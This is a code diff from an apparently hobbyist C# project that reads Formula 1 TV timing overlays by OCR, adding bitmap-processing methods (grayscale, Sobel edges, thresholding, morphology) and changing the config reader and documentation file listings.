    +        }
    +        /// <summary>
    +        /// Method that convert a colored RGB bitmap into a GrayScale image 
    +        /// </summary>
    +        /// <param name="inputBitmap">The Bitmap you want to convert</param>
    +        /// <returns>The bitmap in grayscale</returns>
    +        public static Bitmap Grayscale(Bitmap inputBitmap)
    +        {
    +            Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height);
    +            BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat);
    +            int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8;
    +
    +            unsafe
    +            {
    +                byte* ptr = (byte*)bmpData.Scan0.ToPointer();
    +                for (int y = 0; y < inputBitmap.Height; y++)
    +                {
    +                    byte* currentLine = ptr + (y * bmpData.Stride);
    +                    for (int x = 0; x < inputBitmap.Width; x++)
    +                    {
    +                        byte* pixel = currentLine + (x * bytesPerPixel);
    +
    +                        byte blue = pixel[0];
    +                        byte green = pixel[1];
    +                        byte red = pixel[2];
    +
    +                        //Those a specific values to correct the weights so its more pleasing to the human eye
    +                        int gray = (int)(red * 0.3 + green * 0.59 + blue * 0.11);
    +
    +                        //This is not a proper treshold method but it is helping the sobel edge detection
    +                        if(gray <= F1TV_BACKGROUND_TRESHOLD.R)
    +                        {
    +                            pixel[0] = pixel[1] = pixel[2] = 0;
    +                        }
    +                        else
    +                        {
    +                            pixel[0] = pixel[1] = pixel[2] = (byte)gray;
    +                        }
    +                    }
    +                }
    +            }
    +            inputBitmap.UnlockBits(bmpData);
    +
    +            return inputBitmap;
    +        }
    +        /// <summary>
    +        /// Method that uses the Sobel Edge detection to outline the edges of the characters to help with the OCR
    +        /// </summary>
    +        /// <param name="grayscaleImage">The image with the sobel edge detection used</param>
    +        /// <returns></returns>
    +        private Bitmap SobelEdgeDetection(Bitmap grayscaleImage)
    +        {
    +            // Create a new bitmap for the edges
    +            Bitmap edgesImage = new Bitmap(grayscaleImage.Width, grayscaleImage.Height);
    +
    +            // Define the Sobel operators
    +            // Its just a matrix that we will use on the all image
    +            int[,] sobelX = { { -1, 0, 1 }, { -2, 0, 2 }, { -1, 0, 1 } };
    +            int[,] sobelY = { { -1, -2, -1 }, { 0, 0, 0 }, { 1, 2, 1 } };
    +
    +            // Apply the Sobel operators and normalize the gradients
    +            // NOTE: I dont know how easy or hard it would be to make this paralel but it could be a good idea to do so if possible.
    +            for (int y = 1; y < grayscaleImage.Height - 1; y++)
    +            {
    +                for (int x = 1; x < grayscaleImage.Width - 1; x++)
    +                {
    +                    int gradientX = CalculateGradient(grayscaleImage, sobelX, x, y);
    +                    int gradientY = CalculateGradient(grayscaleImage, sobelY, x, y);
    +                    int gradient = (int)Math.Sqrt(gradientX * gradientX + gradientY * gradientY);
    +
    +                    // Normalize the gradient value
    +                    // In some rare cases the value can exceed 255 so we limit it with the Math.Min method
    +                    gradient = Math.Min(255, Math.Max(0, gradient));
    +
    +                    edgesImage.SetPixel(x, y, Color.FromArgb(gradient, gradient, gradient));
    +                }
    +            }
    +
    +            return edgesImage;
    +        }
    +        /// <summary>
    +        /// Method that's here to be used by the sobel edge detection method (Chat GPT has been used for parts of this method)
    +        /// </summary>
    +        /// <param name="grayscaleImage">The input image with the grayscale processing already done</param>
    +        /// <param name="sobelOperator">The matrix to apply</param>
    +        /// <param name="x"></param>
    +        /// <param name="y"></param>
    +        /// <returns>Returns the processed gradient</returns>
    +        private int CalculateGradient(Bitmap grayscaleImage, int[,] sobelOperator, int x, int y)
    +        {
    +            int gradient = 0;
    +
    +            for (int j = -1; j <= 1; j++)
    +            {
    +                for (int i = -1; i <= 1; i++)
    +                {
    +                    int pixelX = grayscaleImage.GetPixel(x + i, y + j).R;
    +                    gradient += sobelOperator[j + 1, i + 1] * pixelX;
    +                }
    +            }
    +
    +            return gradient;
    +        }
    +        /// <summary>
    +        /// Method that is used to whiten an image. Ignore the funny name. Its used to prevent colored text to trouble the OCR when it uses grayscaling
    +        /// </summary>
    +        /// <param name="inputBitmap">The bitmap to vanish</param>
    +        /// <returns></returns>
    +        public static Bitmap VanishOxyAction(Bitmap inputBitmap)
    +        {
    +            Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height);
    +            BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat);
    +            int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8;
    +
    +            unsafe
    +            {
    +                //Note : MAKE THIS PARALELL OMG WY DID I LEFT IT LIKE THAT
    +                byte* ptr = (byte*)bmpData.Scan0.ToPointer();
    +                for (int y = 0; y < inputBitmap.Height; y++)
    +                {
    +                    byte* currentLine = ptr + (y * bmpData.Stride);
    +                    for (int x = 0; x < inputBitmap.Width; x++)
    +                    {
    +                        byte* pixel = currentLine + (x * bytesPerPixel);
    +
    +                        int blue = (int)pixel[0];
    +                        int green = (int)pixel[1];
    +                        int red = (int)pixel[2];
    +
    +                        int max = Math.Max(Math.Max(blue, green), red);
    +
    +                        if (max > 255 / 3)
    +                            max = 255;
    +
    +                        pixel[0] = pixel[1] = pixel[2] = (byte)max;
    +                    }
    +                }
    +            }
    +            inputBitmap.UnlockBits(bmpData);
    +
    +            return inputBitmap;
    +        }
    +        /// <summary>
    +        /// Method that binaries the input image up to a certain treshold given
    +        /// </summary>
    +        /// <param name="inputBitmap">the bitmap you want to convert to binary colors</param>
    +        /// <param name="threshold">The floor at wich the color is considered as white or black</param>
    +        /// <returns>The binarised bitmap</returns>
    +        public static Bitmap Tresholding(Bitmap inputBitmap, int threshold)
    +        {
    +            Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height);
    +            BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat);
    +            int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8;
    +
    +            unsafe
    +            {
    +                byte* ptr = (byte*)bmpData.Scan0.ToPointer();
    +                int bmpHeight = inputBitmap.Height;
    +                int bmpWidth = inputBitmap.Width;
    +                Parallel.For(0, bmpHeight, y =>
    +                {
    +                    byte* currentLine = ptr + (y * bmpData.Stride);
    +                    for (int x = 0; x < bmpWidth; x++)
    +                    {
    +                        byte* pixel = currentLine + (x * bytesPerPixel);
    +
    +                        byte blue = pixel[0];
    +                        byte green = pixel[1];
    +                        byte red = pixel[2];
    +                        //Those a specific values to correct the weights so its more pleasing to the human eye
    +                        int gray = (int)(red * 0.3 + green * 0.59 + blue * 0.11);
    +                        int value = gray < threshold ? 0 : 255;
    +
    +                        pixel[0] = pixel[1] = pixel[2] = (byte)value;
    +                    }
    +                });
    +            }
    +            inputBitmap.UnlockBits(bmpData);
    +
    +            return inputBitmap;
    +        }
    +        /// <summary>
    +        /// Method that removes the pixels that are flagged as background
    +        /// </summary>
    +        /// <param name="inputBitmap">The bitmap you want to remove the background from</param>
    +        /// <returns>The Bitmap without the background</returns>
    +        public static Bitmap RemoveBG(Bitmap inputBitmap)
    +        {
    +            Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height);
    +            BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat);
    +            int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8;
    +
    +            unsafe
    +            {
    +                byte* ptr = (byte*)bmpData.Scan0.ToPointer();
    +                for (int y = 0; y < inputBitmap.Height; y++)
    +                {
    +                    byte* currentLine = ptr + (y * bmpData.Stride);
    +                    for (int x = 0; x < inputBitmap.Width; x++)
    +                    {
    +                        byte* pixel = currentLine + (x * bytesPerPixel);
    +
    +                        int B = pixel[0];
    +                        int G = pixel[1];
    +                        int R = pixel[2];
    +
    +                        if (R <= F1TV_BACKGROUND_TRESHOLD.R && G <= F1TV_BACKGROUND_TRESHOLD.G && B <= F1TV_BACKGROUND_TRESHOLD.B)
    +                            pixel[0] = pixel[1] = pixel[2] = 0;
    +                    }
    +                }
    +            }
    +            inputBitmap.UnlockBits(bmpData);
    +
    +            return inputBitmap;
    +        }
    +        /// <summary>
    +        /// Method that removes all the useless things from the image and returns hopefully only the numbers
    +        /// </summary>
    +        /// <param name="inputBitmap">The bitmap you want to remove useless things from (Expects a cropped part of the TyreWindow)</param>
    +        /// <returns>The bitmap with (hopefully) only the digits</returns>
    +        public unsafe static Bitmap RemoveUseless(Bitmap inputBitmap)
    +        {
    +            //Note you can use something else than a cropped tyre window but I would recommend checking the code first to see if it fits your intended use
    +            Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height);
    +            BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat);
    +            int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8;
    +
    +            byte* ptr = (byte*)bmpData.Scan0.ToPointer();
    +            for (int y = 0; y < inputBitmap.Height; y++)
    +            {
    +                byte* currentLine = ptr + (y * bmpData.Stride);
    +
    +                List<int> pixelsToRemove = new List<int>();
    +
    +                bool fromBorder = true;
    +
    +                for (int x = 0; x < inputBitmap.Width; x++)
    +                {
    +                    byte* pixel = currentLine + (x * bytesPerPixel);
    +
    +                    int B = pixel[0];
    +                    int G = pixel[1];
    +                    int R = pixel[2];
    +
    +                    if (fromBorder && B < F1TV_BACKGROUND_TRESHOLD.B && G < F1TV_BACKGROUND_TRESHOLD.G && R < F1TV_BACKGROUND_TRESHOLD.R)
    +                    {
    +                        pixelsToRemove.Add(x);
    +                    }
    +                    else
    +                    {
    +                        if (fromBorder)
    +                        {
    +                            fromBorder = false;
    +                            pixelsToRemove.Add(x);
    +                        }
    +                    }
    +                }
    +                fromBorder = true;
    +                for (int x = inputBitmap.Width - 1; x > 0; x--)
    +                {
    +                    byte* pixel = currentLine + (x * bytesPerPixel);
    +
    +                    int B = pixel[0];
    +                    int G = pixel[1];
    +                    int R = pixel[2];
    +
    +                    if (fromBorder && B < F1TV_BACKGROUND_TRESHOLD.B && G < F1TV_BACKGROUND_TRESHOLD.G && R < F1TV_BACKGROUND_TRESHOLD.R)
    +                    {
    +                        pixelsToRemove.Add(x);
    +                    }
    +                    else
    +                    {
    +                        if (fromBorder)
    +                        {
    +                            fromBorder = false;
    +                            pixelsToRemove.Add(x);
    +                        }
    +                    }
    +                }
    +
    +                foreach (int pxPos in pixelsToRemove)
    +                {
    +                    byte* pixel = currentLine + (pxPos * bytesPerPixel);
    +
    +                    pixel[0] = 0xFF;
    +                    pixel[1] = 0xFF;
    +                    pixel[2] = 0xFF;
    +                }
    +            }
    +
    +            //Removing the color parts
    +            for (int y = 0; y < inputBitmap.Height; y++)
    +            {
    +                byte* currentLine = ptr + (y * bmpData.Stride);
    +                for (int x = 0; x < inputBitmap.Width; x++)
    +                {
    +                    byte* pixel = currentLine + (x * bytesPerPixel);
    +
    +                    int B = pixel[0];
    +                    int G = pixel[1];
    +                    int R = pixel[2];
    +
    +                    if (R >= F1TV_BACKGROUND_TRESHOLD.R  +25|| G >= F1TV_BACKGROUND_TRESHOLD.G +25|| B >= F1TV_BACKGROUND_TRESHOLD.B +25)
    +                    {
    +                        pixel[0] = 0xFF;
    +                        pixel[1] = 0xFF;
    +                        pixel[2] = 0xFF;
    +                    }
    +                }
    +            }
    +
    +            inputBitmap.UnlockBits(bmpData);
    +            return inputBitmap;
    +        }
    +        /// <summary>
    +        /// Recovers the average colors from the Image. NOTE : It wont take in account colors that are lower than the background
    +        /// </summary>
    +        /// <param name="inputBitmap">The bitmap you want to get the average color from</param>
    +        /// <returns>The average color of the bitmap</returns>
    +        public static Color GetAvgColorFromBitmap(Bitmap inputBitmap)
    +        {
    +            Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height);
    +            BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat);
    +            int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8;
    +
    +            int totR = 0;
    +            int totG = 0;
    +            int totB = 0;
    +
    +            int totPixels = 1;
    +
    +            unsafe
    +            {
    +                byte* ptr = (byte*)bmpData.Scan0.ToPointer();
    +                int bmpHeight = inputBitmap.Height;
    +                int bmpWidth = inputBitmap.Width;
    +                Parallel.For(0, bmpHeight, y =>
    +                {
    +                    byte* currentLine = ptr + (y * bmpData.Stride);
    +                    for (int x = 0; x < bmpWidth; x++)
    +                    {
    +                        byte* pixel = currentLine + (x * bytesPerPixel);
    +
    +                        int B = pixel[0];
    +                        int G = pixel[1];
    +                        int R = pixel[2];
    +
    +                        if (R >= F1TV_BACKGROUND_TRESHOLD.R || G >= F1TV_BACKGROUND_TRESHOLD.G || B >= F1TV_BACKGROUND_TRESHOLD.B)
    +                        {
    +                            totPixels++;
    +                            totB += pixel[0];
    +                            totG += pixel[1];
    +                            totR += pixel[2];
    +                        }
    +                    }
    +                });
    +            }
    +            inputBitmap.UnlockBits(bmpData);
    +
    +            return Color.FromArgb(255,Math.Min(Convert.ToInt32((float)totR / (float)totPixels),255), Math.Min(Convert.ToInt32((float)totG / (float)totPixels),255), Math.Min(Convert.ToInt32((float)totB / (float)totPixels),255));
    +        }
    +        /// <summary>
    +        /// This method simply inverts all the colors in a Bitmap
    +        /// </summary>
    +        /// <param name="inputBitmap">the bitmap you want to invert the colors from</param>
    +        /// <returns>The bitmap with inverted colors</returns>
    +        public static Bitmap InvertColors(Bitmap inputBitmap)
    +        {
    +            Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height);
    +            BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat);
    +            int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8;
    +
    +            unsafe
    +            {
    +                byte* ptr = (byte*)bmpData.Scan0.ToPointer();
    +                for (int y = 0; y < inputBitmap.Height; y++)
    +                {
    +                    byte* currentLine = ptr + (y * bmpData.Stride);
    +                    for (int x = 0; x < inputBitmap.Width; x++)
    +                    {
    +                        byte* pixel = currentLine + (x * bytesPerPixel);
    +
    +                        pixel[0] = (byte)(255 - pixel[0]);
    +                        pixel[1] = (byte)(255 - pixel[1]);
    +                        pixel[2] = (byte)(255 - pixel[2]);
    +                    }
    +                }
    +            }
    +            inputBitmap.UnlockBits(bmpData);
    +
    +            return inputBitmap;
    +        }
    +        /// <summary>
    +        /// Methods that applies Bicubic interpolation to increase the size and resolution of an image
    +        /// </summary>
    +        /// <param name="inputBitmap">The bitmap you want to resize</param>
    +        /// <param name="resizeFactor">The factor of resizing you want to use. I recommend using even numbers</param>
    +        /// <returns>The bitmap witht the new size</returns>
    +        public static Bitmap Resize(Bitmap inputBitmap, int resizeFactor)
    +        {
    +            var resultBitmap = new Bitmap(inputBitmap.Width * resizeFactor, inputBitmap.Height * resizeFactor);
    +
    +            using (var graphics = Graphics.FromImage(resultBitmap))
    +            {
    +                graphics.InterpolationMode = InterpolationMode.HighQualityBicubic;
    +                graphics.DrawImage(inputBitmap, new Rectangle(0, 0, resultBitmap.Width, resultBitmap.Height));
    +            }
    +
    +            return resultBitmap;
    +        }
    +        /// <summary>
    +        /// method that Highlights the countours of a Bitmap
    +        /// </summary>
    +        /// <param name="inputBitmap">The bitmap you want to highlight the countours of</param>
    +        /// <returns>The bitmap with countours highlighted</returns>
    +        public static Bitmap HighlightContours(Bitmap inputBitmap)
    +        {
    +            Bitmap outputBitmap = new Bitmap(inputBitmap.Width, inputBitmap.Height);
    +
    +            Bitmap grayscale = Grayscale(inputBitmap);
    +            Bitmap thresholded = Tresholding(grayscale, 128);
    +            Bitmap dilated = Dilatation(thresholded, 3);
    +            Bitmap eroded = Erode(dilated, 3);
    +
    +            for (int y = 0; y < inputBitmap.Height; y++)
    +            {
    +                for (int x = 0; x < inputBitmap.Width; x++)
    +                {
    +                    Color pixel = inputBitmap.GetPixel(x, y);
    +                    Color dilatedPixel = dilated.GetPixel(x, y);
    +                    Color erodedPixel = eroded.GetPixel(x, y);
    +
    +                    int gray = (int)(pixel.R * 0.3 + pixel.G * 0.59 + pixel.B * 0.11);
    +                    int threshold = dilatedPixel.R;
    +
    +                    if (gray > threshold)
    +                    {
    +                        outputBitmap.SetPixel(x, y, Color.FromArgb(255, 255, 255));
    +                    }
    +                    else if (gray <= threshold && erodedPixel.R == 0)
    +                    {
    +                        outputBitmap.SetPixel(x, y, Color.FromArgb(255, 0, 0));
    +                    }
    +                    else
    +                    {
    +                        outputBitmap.SetPixel(x, y, Color.FromArgb(0, 0, 0));
    +                    }
    +                }
    +            }
    +
    +            return outputBitmap;
    +        }
    +        /// <summary>
    +        /// Method that that erodes the morphology of a bitmap
    +        /// </summary>
    +        /// <param name="inputBitmap">The bitmap you want to erode</param>
    +        /// <param name="kernelSize">The amount of Erosion you want (be carefull its expensive on ressources)</param>
    +        /// <returns>The Bitmap with the eroded contents</returns>
    +        public static Bitmap Erode(Bitmap inputBitmap, int kernelSize)
    +        {
    +            Bitmap outputBitmap = new Bitmap(inputBitmap.Width, inputBitmap.Height);
    +
    +            int[,] kernel = new int[kernelSize, kernelSize];
    +
    +            for (int i = 0; i < kernelSize; i++)
    +            {
    +                for (int j = 0; j < kernelSize; j++)
    +                {
    +                    kernel[i, j] = 1;
    +                }
    +            }
    +
    +            for (int y = kernelSize / 2; y < inputBitmap.Height - kernelSize / 2; y++)
    +            {
    +                for (int x = kernelSize / 2; x < inputBitmap.Width - kernelSize / 2; x++)
    +                {
    +                    bool flag = true;
    +
    +                    for (int i = -kernelSize / 2; i <= kernelSize / 2; i++)
    +                    {
    +                        for (int j = -kernelSize / 2; j <= kernelSize / 2; j++)
    +                        {
    +                            Color pixel = inputBitmap.GetPixel(x + i, y + j);
    +                            int gray = (int)(pixel.R * 0.3 + pixel.G * 0.59 + pixel.B * 0.11);
    +
    +                            if (gray >= 128 && kernel[i + kernelSize / 2, j + kernelSize / 2] == 1)
    +                            {
    +                                flag = false;
    +                                break;
    +                            }
    +                        }
    +
    +                        if (!flag)
    +                        {
    +                            break;
    +                        }
    +                    }
    +
    +                    if (flag)
    +                    {
    +                        outputBitmap.SetPixel(x, y, Color.FromArgb(255, 255, 255));
    +                    }
    +                    else
    +                    {
    +                        outputBitmap.SetPixel(x, y, Color.FromArgb(0, 0, 0));
    +                    }
    +                }
    +            }
    +
    +            return outputBitmap;
    +        }
    +        /// <summary>
    +        /// Method that that use dilatation of the morphology of a bitmap
    +        /// </summary>
    +        /// <param name="inputBitmap">The bitmap you want to use dilatation on</param>
    +        /// <param name="kernelSize">The amount of dilatation you want (be carefull its expensive on ressources)</param>
    +        /// <returns>The Bitmap after Dilatation</returns>
    +        public static Bitmap Dilatation(Bitmap inputBitmap, int kernelSize)
    +        {
    +            Bitmap outputBitmap = new Bitmap(inputBitmap.Width, inputBitmap.Height);
    +
    +            int[,] kernel = new int[kernelSize, kernelSize];
    +
    +            for (int i = 0; i < kernelSize; i++)
    +            {
    +                for (int j = 0; j < kernelSize; j++)
    +                {
    +                    kernel[i, j] = 1;
    +                }
    +            }
    +
    +            for (int y = kernelSize / 2; y < inputBitmap.Height - kernelSize / 2; y++)
    +            {
    +                for (int x = kernelSize / 2; x < inputBitmap.Width - kernelSize / 2; x++)
    +                {
    +                    bool flag = false;
    +
    +                    for (int i = -kernelSize / 2; i <= kernelSize / 2; i++)
    +                    {
    +                        for (int j = -kernelSize / 2; j <= kernelSize / 2; j++)
    +                        {
    +                            Color pixel = inputBitmap.GetPixel(x + i, y + j);
    +                            int gray = (int)(pixel.R * 0.3 + pixel.G * 0.59 + pixel.B * 0.11);
    +
    +                            if (gray < 128 && kernel[i + kernelSize / 2, j + kernelSize / 2] == 1)
    +                            {
    +                                flag = true;
    +                                break;
    +                            }
    +                        }
    +
    +                        if (flag)
    +                        {
    +                            break;
    +                        }
    +                    }
    +
    +                    if (flag)
    +                    {
    +                        outputBitmap.SetPixel(x, y, Color.FromArgb(0, 0, 0));
    +                    }
    +                    else
    +                    {
    +                        outputBitmap.SetPixel(x, y, Color.FromArgb(255, 255, 255));
    +                    }
    +                }
    +            }
    +
    +            return outputBitmap;
    +        }
    +    }
    +}
    +
    @@ -799,13 +947,13 @@ namespace Test_Merge -
  • + + DriverData.cs + +
  • +
  • DriverGapToLeaderWindow.cs
  • - - DriverPositionWindow.cs + + DriverNameWindow.cs + +
  • +
  • + + DriverSectorWindow.cs
  • @@ -149,6 +159,11 @@ F1TVEmulator.cs
  • +
  • + + Form1.cs + +
  • @@ -156,33 +171,13 @@
  • - - Window.cs + + Settings.Designer.cs
  • - - DriverData.cs - -
  • -
  • - - DriverLapTimeWindow.cs - -
  • -
  • - - DriverSectorWindow.cs - -
  • -
  • - - Form1.cs - -
  • -
  • - - Reader.cs + + SqliteStorage.cs
  • @@ -191,13 +186,23 @@
  • + + DataWrapper.cs + +
  • +
  • DriverDrsWindow.cs
  • - - DriverNameWindow.cs + + DriverLapTimeWindow.cs + +
  • +
  • + + DriverPositionWindow.cs
  • @@ -211,11 +216,21 @@
  • + + Reader.cs + +
  • +
  • Settings.cs
  • + + Window.cs + +
  • +
  • recoverCookiesCSV.py @@ -239,37 +254,36 @@

    Program.cs

    -
    using System;
    -using System.Collections.Generic;
    -using System.Linq;
    -using System.Threading.Tasks;
    -using System.Windows.Forms;
    -
    -namespace Test_Merge
    -{
    -    internal static class Program
    -    {
    -        /// <summary>
    -        /// The main entry point for the application.
    -        /// </summary>
    -        [STAThread]
    -        static void Main()
    -        {
    -            Application.EnableVisualStyles();
    -            Application.SetCompatibleTextRenderingDefault(false);
    -            Application.Run(new Form1());
    -        }
    -    }
    -}
    -
    -
    +
    using System;
    +using System.Collections.Generic;
    +using System.Linq;
    +using System.Threading.Tasks;
    +using System.Windows.Forms;
    +
    +namespace TrackTrends
    +{
    +    internal static class Program
    +    {
    +        /// <summary>
    +        /// The main entry point for the application.
    +        /// </summary>
    +        [STAThread]
    +        static void Main()
    +        {
    +            Application.EnableVisualStyles();
    +            Application.SetCompatibleTextRenderingDefault(false);
    +            Application.Run(new Main());
    +        }
    +    }
    +}
    +
  • - - DriverGapToLeaderWindow.cs - -
  • -
  • - - DriverPositionWindow.cs - -
  • -
  • - - F1TVEmulator.cs - -
  • -
  • - - Program.cs - -
  • -
  • - - Window.cs - -
  • -
  • DriverData.cs
  • - - DriverLapTimeWindow.cs + + DriverGapToLeaderWindow.cs + +
  • +
  • + + DriverNameWindow.cs
  • @@ -175,14 +155,28 @@
  • + + F1TVEmulator.cs + +
  • +
  • Form1.cs
  • -
  • - - - Reader.cs +
  • + + Program.cs + +
  • +
  • + + Settings.Designer.cs + +
  • +
  • + + SqliteStorage.cs
  • @@ -191,13 +185,23 @@
  • + + DataWrapper.cs + +
  • +
  • DriverDrsWindow.cs
  • - - DriverNameWindow.cs + + DriverLapTimeWindow.cs + +
  • +
  • + + DriverPositionWindow.cs
  • @@ -210,12 +214,23 @@ OcrImage.cs
  • +
  • + + + Reader.cs + +
  • Settings.cs
  • + + Window.cs + +
  • +
  • recoverCookiesCSV.py @@ -239,245 +254,352 @@

    Reader.cs

    -
    /// Author : Maxime Rohmer
    -/// Date : 08/05/2023
    -/// File : Reader.cs
    -/// Brief : Class used to Read the config file for the OCR
    -/// Version : 0.1
    -
    -using System;
    -using System.Collections.Generic;
    -using System.Linq;
    -using System.Text;
    -using System.Threading.Tasks;
    -using System.Drawing;
    -using System.Windows.Forms;
    -using System.IO;
    -using System.Text.Json;
    -
    -namespace Test_Merge
    -{
    -    public class Reader
    -    {
    -        const int NUMBER_OF_DRIVERS = 20;
    -        public List<string> Drivers;
    -        public List<Zone> MainZones;
    -
    -        public Reader(string configFile, Bitmap image,bool loadOCR = true)
    -        {
    -            MainZones = Load(image,configFile,ref Drivers,loadOCR);
    -        }
    -        /// <summary>
    -        /// Method that reads the JSON config file and create all the Zones and Windows
    -        /// </summary>
    -        /// <param name="imageNumber">The image #id on wich you want to create the zones on</param>
    -        public static List<Zone> Load(Bitmap image,string configFilePath,ref List<string> driverListToFill,bool LoadOCR)
    -        {
    -            List<Zone> mainZones = new List<Zone>();
    -            Bitmap fullImage = image;
    -            List<string> drivers;
    -            Zone mainZone;
    -
    -            try
    -            {
    -                using (var streamReader = new StreamReader(configFilePath))
    -                {
    -                    var jsonText = streamReader.ReadToEnd();
    -                    var jsonDocument = JsonDocument.Parse(jsonText);
    -
    -                    var driversNames = jsonDocument.RootElement.GetProperty("Drivers");
    -                    driverListToFill = new List<string>();
    -
    -                    foreach (var nameElement in driversNames.EnumerateArray())
    -                    {
    -                        driverListToFill.Add(nameElement.GetString());
    -                    }
    -
    -                    var mainProperty = jsonDocument.RootElement.GetProperty("Main");
    -                    Point MainPosition = new Point(mainProperty.GetProperty("x").GetInt32(), mainProperty.GetProperty("y").GetInt32());
    -                    Size MainSize = new Size(mainProperty.GetProperty("width").GetInt32(), mainProperty.GetProperty("height").GetInt32());
    -                    Rectangle MainRectangle = new Rectangle(MainPosition, MainSize);
    -                    mainZone = new Zone(image, MainRectangle,"Main");
    -
    -                    var zones = mainProperty.GetProperty("Zones");
    -                    var driverZone = zones[0].GetProperty("DriverZone");
    -
    -                    Point FirstZonePosition = new Point(driverZone.GetProperty("x").GetInt32(), driverZone.GetProperty("y").GetInt32());
    -                    Size FirstZoneSize = new Size(driverZone.GetProperty("width").GetInt32(), driverZone.GetProperty("height").GetInt32());
    -
    -                    var windows = driverZone.GetProperty("Windows");
    -
    -                    var driverPosition = windows[0].GetProperty("Position");
    -                    Size driverPositionArea = new Size(driverPosition.GetProperty("width").GetInt32(), FirstZoneSize.Height);
    -                    Point driverPositionPosition = new Point(driverPosition.GetProperty("x").GetInt32(), driverPosition.GetProperty("y").GetInt32());
    -
    -                    var driverGapToLeader = windows[0].GetProperty("GapToLeader");
    -                    Size driverGapToLeaderArea = new Size(driverGapToLeader.GetProperty("width").GetInt32(), FirstZoneSize.Height);
    -                    Point driverGapToLeaderPosition = new Point(driverGapToLeader.GetProperty("x").GetInt32(), driverGapToLeader.GetProperty("y").GetInt32());
    -
    -                    var driverLapTime = windows[0].GetProperty("LapTime");
    -                    Size driverLapTimeArea = new Size(driverLapTime.GetProperty("width").GetInt32(), FirstZoneSize.Height);
    -                    Point driverLapTimePosition = new Point(driverLapTime.GetProperty("x").GetInt32(), driverLapTime.GetProperty("y").GetInt32());
    -
    -
    -                    var driverDrs = windows[0].GetProperty("DRS");
    -                    Size driverDrsArea = new Size(driverDrs.GetProperty("width").GetInt32(), FirstZoneSize.Height);
    -                    Point driverDrsPosition = new Point(driverDrs.GetProperty("x").GetInt32(), driverDrs.GetProperty("y").GetInt32());
    -
    -                    var driverTyres = windows[0].GetProperty("Tyres");
    -                    Size driverTyresArea = new Size(driverTyres.GetProperty("width").GetInt32(), FirstZoneSize.Height);
    -                    Point driverTyresPosition = new Point(driverTyres.GetProperty("x").GetInt32(), driverTyres.GetProperty("y").GetInt32());
    -
    -                    var driverName = windows[0].GetProperty("Name");
    -                    Size driverNameArea = new Size(driverName.GetProperty("width").GetInt32(), FirstZoneSize.Height);
    -                    Point driverNamePosition = new Point(driverName.GetProperty("x").GetInt32(), driverName.GetProperty("y").GetInt32());
    -
    -                    var driverSector1 = windows[0].GetProperty("Sector1");
    -                    Size driverSector1Area = new Size(driverSector1.GetProperty("width").GetInt32(), FirstZoneSize.Height);
    -                    Point driverSector1Position = new Point(driverSector1.GetProperty("x").GetInt32(), driverSector1.GetProperty("y").GetInt32());
    -
    -                    var driverSector2 = windows[0].GetProperty("Sector2");
    -                    Size driverSector2Area = new Size(driverSector2.GetProperty("width").GetInt32(), FirstZoneSize.Height);
    -                    Point driverSector2Position = new Point(driverSector2.GetProperty("x").GetInt32(), driverSector2.GetProperty("y").GetInt32());
    -
    -                    var driverSector3 = windows[0].GetProperty("Sector3");
    -                    Size driverSector3Area = new Size(driverSector3.GetProperty("width").GetInt32(), FirstZoneSize.Height);
    -                    Point driverSector3Position = new Point(driverSector3.GetProperty("x").GetInt32(), driverSector3.GetProperty("y").GetInt32());
    -
    -                    float offset = (((float)mainZone.ZoneImage.Height - (float)(driverListToFill.Count * FirstZoneSize.Height)) / (float)driverListToFill.Count);
    -                    Bitmap MainZoneImage = mainZone.ZoneImage;
    -                    List<Zone> zonesToAdd = new List<Zone>();
    -                    List<Bitmap> zonesImages = new List<Bitmap>();
    -
    -                    for (int i = 0; i < NUMBER_OF_DRIVERS; i++)
    -                    {
    -                        Point tmpPos = new Point(0, FirstZonePosition.Y + i * FirstZoneSize.Height - Convert.ToInt32(i * offset));
    -                        Zone newDriverZone = new Zone(MainZoneImage, new Rectangle(tmpPos, FirstZoneSize), "DriverZone");
    -                        zonesToAdd.Add(newDriverZone);
    -                        zonesImages.Add(newDriverZone.ZoneImage);
    -
    -                        newDriverZone.ZoneImage.Save("Driver"+i+".png");
    -                    }
    -
    -                    //Parallel.For(0, NUMBER_OF_DRIVERS, i =>
    -                    for (int i = 0; i < NUMBER_OF_DRIVERS; i++)
    -                    {
    -                        Zone newDriverZone = zonesToAdd[(int)i];
    -                        Bitmap zoneImg = zonesImages[(int)i];
    -
    -                        newDriverZone.AddWindow(new DriverPositionWindow(zoneImg, new Rectangle(driverPositionPosition, driverPositionArea),LoadOCR));
    -                        newDriverZone.AddWindow(new DriverGapToLeaderWindow(zoneImg, new Rectangle(driverGapToLeaderPosition, driverGapToLeaderArea), LoadOCR));
    -                        newDriverZone.AddWindow(new DriverLapTimeWindow(zoneImg, new Rectangle(driverLapTimePosition, driverLapTimeArea), LoadOCR));
